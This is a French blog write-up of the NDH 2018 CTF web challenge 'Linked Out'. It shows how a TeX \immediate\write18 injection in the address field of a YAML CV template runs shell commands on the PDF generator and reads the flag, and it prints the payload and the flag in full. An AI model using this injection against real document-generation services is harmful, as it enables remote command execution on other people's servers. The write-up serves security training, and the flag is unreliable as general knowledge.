[CTF NDH 2018 Quals] Write-Up – Web : Linked Out

01
avril
2018
  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Yann C.  /   Category: CTF / Events / NDH / NDH2k18 / RCE / Vulnérabilités, exploits et PoC   /   Pas de commentaire

Présentation d’un write-up de résolution du challenge « Web – Linked Out » des qualifications du CTF de la Nuit du Hack 2018.

Le weekend du 31/03/2018 se déroulait les pré-qualifications pour la Nuit du Hack 2018 sous forme d’un CTF Jeopardy. Ayant eu l’occasion et le temps d’y participer avec quelques collègues et amis, voici un write-up de résolution d’un des challenges auquel nous avons pu participer.

  • Catégorie : Web
  • Nom : Linked Out
  • Description : This service build an awesome curriculum vitae for you ! Test it, recruiters will enjoy it ! The developper of this chall too 😉
  • URL : http://linkedout.challs.malice.fr/
  • Points : 300

Ce challenge web permet de charger un modèle de CV au format YAML. L’idée est de manipuler le template de CV fourni pour y injecter des commandes dont les résultats seront visibles au sein du PDF du CV généré.

Lorsque l’on se rend sur l’URL du challenge, le service nous est présenté :

Service LinkedOut

Service LinkedOut

Il est possible de télécharger un modèle de CV au format YAML et de l’envoyer pour générer notre beau PDF :

Téléchargement du template YAML et upload

Téléchargement du template YAML et upload

L’objectif va être d’injecter des instructions TeX au sein du template YAML, pour modifier des données du CV. En se focalisant sur l’adresse postale (champ relativement large pouvant occuper plusieurs ligne dans le PDF généré), il est possible d’employer les instructions « /immediate » et « /write18 » pour exécuter des commandes shell :

Both \immediate and \write are TeX primitives. The \write operation is used to write to a file stream. Like many other things in TeX, file streams are accessed by number (although usually real files are given symbolic names to make life easier). Stream 18 is ‘special’ as it is not a file at all: instead, it is a way of sending commands to the operating system (shell).

Ainsi, dans le template du CV, nous pouvons réécrire la valeur de l’adresse à partir de ces instructions. On exécute une commande, dont la sortie sera mise en base64 dans un fichier pour éviter les caractères pouvant générer des erreurs lors de la création du PDF, puis nous rechargeons le contenu de ce fichier à la place de l’adresse :

cv:
 personal_informations:
 firstname: Bruce
 lastname: Schneier
 address: 221b Baker Street, London, ENGLAND}\address{\immediate\write18{ls /|base64 > toto}\input{toto}
 position: Security Expert ; Master of Internet

[...]

Le résultat de la commande « ls / » sera mise dans le fichier « toto » en base64, et le contenu de ce fichier « \input{toto} » sera lu et remplacera immédiatement le contenu de « \address » dans le PDF.

ls /

ls /

Un PDF est généré en sortie, que nous consultons :

PDF du CV généré pour ls /

PDF du CV généré pour ls /

En décodant le base64 dans l’adresse postale, nous obtenons :

bin
boot
dev
entrypoint.sh
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
supervisord.log
supervisord.pid
sys
tmp
usr
var

Le fichier « flag » nous semble évidemment d’intérêt. Consultons son contenu :

Cat /flag

Cat /flag

Ouverture du PDF correspondant :

Cat /flag en PDF

Cat /flag en PDF

Contenu en base64 décodé :

TkRIe0FuZF9Eb25hbGRfS251dGhfY3JlYXRlZF90aGVfaVRlWH0K

Flag : NDH{And_Donald_Knuth_created_the_iTeX}

Salutations à toute l’équipe, on remet ça quand vous voulez 😉 // Gr3etZ

Sources & resources :

  • Google Plus
  • LinkedIn
  • Viadeo
Yann C.

About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.